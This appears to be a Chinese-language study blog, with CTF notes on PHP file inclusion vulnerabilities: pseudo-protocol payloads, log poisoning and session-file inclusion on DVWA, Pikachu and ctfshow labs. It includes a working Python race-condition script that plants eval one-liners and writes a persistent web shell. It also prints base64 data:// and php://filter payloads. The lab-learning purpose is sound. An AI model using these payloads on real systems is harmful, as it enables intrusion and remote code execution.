文件包含漏洞简介:
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
文件包含漏洞原理:
文件包含的文件地址由客户端传入且没有对传入的地址进行足够的检查、过滤,导致包含恶意文
件。
<?php
include($_GET['file']);
?>
废话不说,来测试一下:
phpstudy随便搭建一个:include.php,phpinfo.php:
代码如下:
<?php
include $_GET['test'];
?>
<?php
phpinfo();
?>
test没有完全过滤
txt也行
可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
PHP语言的文件包含
1)require 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
2)include 找不到被包含的文件时只会产生一个(E_warinng)警告,脚本将继续执行;
3)require_once require_once 绕过不能重复包含文件的限制
与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含
4)include_once 引用一次,找不到path会发出警告
5)fopen 打开一个文件
题目演练:
dvwa靶场可以直接跳转到www.baidu.com
PHP伪协议:
php://input 和 data:// 在 include 等函数作为参数存在时,可以执行PHP代码
<?php $file = $_GET["file"]; if($file){ include($file); } ?>DATA 型:
data://text/plain,
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
来分析一下上文代码:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
代码首先通过GET请求获取参数file的值,并将它赋给变量$file。然后,使用include函数将$file包含进代码中。这会导致$file的值作为路径被直接传递给include函数,从而将$file指向的文件包含进来。
构造payload
查看源代码得到flag:
base64编码的
这个会把PHP,替换成???
我们将其base64 编码:
查看源代码得到flag
PHP filter
为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里
就会用到php://filter。
php://filter读取的文件内容会被当作PHP代码执行,所以在利用php://filter读取文件源代码的时候
需要用到编码器
php://filter/resource=phpinfo.php
php://filter/read=convert.base64-encode/resource=phpinfo.php
php://filter 一般读取文件源代码,然后再进行审计
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。
题目
解码:
日志包含:
当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文
件。 利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链
接中包含PHP一句话木马时,也会被记录到日志中。
这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell。其实整个“包含日
志文件漏洞利用”最关键的就是找日志存放的“物理路径”,只要找到日志的物理存放路径,一切就可以按部就班的完成利用了。
php data 都没了
采用通过User-Agent头部注入命令:
传入一句话,不知道为什么hackbar传入不成功,burp suite试试:
包含Session文件
session的工作原理
1.首先使用session_start()函数进行初始换
2.当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
3.当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库
中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。
包含Session文件需要知道Session文件名称和存储路径、需要Session文件内容可控
(Session[‘username’]=$username,文件名称默认为sess_PHPSESSID,当
session.use_strict_mode配置为Off时,PHPSESSID就是我们访问页面时携带的Cookie,此配置默认为Off)
(1)利用条件:
知道session的存储位置
有可控的值传入session中
存在本地文件包含漏洞
(2)原理
1、通过phpinfo可获取到session的存储位置或已知session的存储位置
2、session中的内容可控,可以传入恶意代码.
ctf-show web 80
这个之后解决。我也不知道为什么。
问题解决:
估计是容器问题,第二天我尝试了一下,发现都成功了。
CTFshow web 82
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
发现比81多过滤了“.”
按照原办法试一下:
现在抓包改参数;不行 .被过滤了,试一下session文件
pyhton写:
import requests
import io
import threading
url = 'http://dbd83c29-5ee4-496e-b773-96f603c0a8ce.challenge.ctf.show/'
sessionid = 'truthahn' # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn
cookies = {
'PHPSESSID':sessionid
}
def write(session): # write()函数用于写入session临时文件
fileBytes = io.BytesIO(b'a'*1024*50) # 设置上传文件的大小为50k
data2 = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>' # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话
}
files = {
'file':('truthahn.jpg',fileBytes)
}
while True:
res = session.post(url,data=data2,cookies=cookies,files=files)
# print(res.text)
#print('======= write done! ======')
def read(session): # read()函数利用session临时文件生成一句话木马,实现rce
data1 = {
"1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');" # 使用file_put_contents()php内置函数生成名为3.php的shell文件
}
while True:
res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
# print(res.text)
res2 = session.get(url+'3.php')
# print(res2.text)
if res2.status_code == 200: #若3.php成功生成,则返回Done!,否则返回失败的状态码
print('++++++++ Done! +++++++++')
else:
print(res2.status_code)
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session: # 为每个函数设置5个线程并发执行
for i in range(5):
#print('*'*50)
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
#print('='*50)
threading.Thread(target=read,args=(session,)).start()
event.set()
试了很多方法,包括session的竞争,但是只有python一种方法做了出来:
传入之后连接,获取flag
PIkachu 文件包含漏洞演练:
发现file1-file5对应的就是下拉框中的球星:试一下file6.php
实践:
好传就传谁怕谁:
构造/?file=flag.php
采用PHP伪协议:
发现页面没反应,右键查看源代码,发现base64,解码后有:
PD9waHANCiRmbGFnPSdOU1NDVEZ7Y2E1YzU3YzgtMDYxNy00MGM4LWI3MGEtYzE3ZTMyNGU5NGRifSc7
NSSCTF{ca5c57c8-0617-40c8-b70a-c17e324e94db}
实战2
php data 等等都被过滤了
采用通过User-Agent头部注入命令:
先抓包:
改参数:
直接连接蚁剑:
NSSCTF{fe6c8bb4-088d-41d8-9e74-035844f5d393}
实战3
直接用PHP伪协议:
base64转码:
NSSCTF{74f52f33-25ed-42e9-8a4e-026df3191dd3}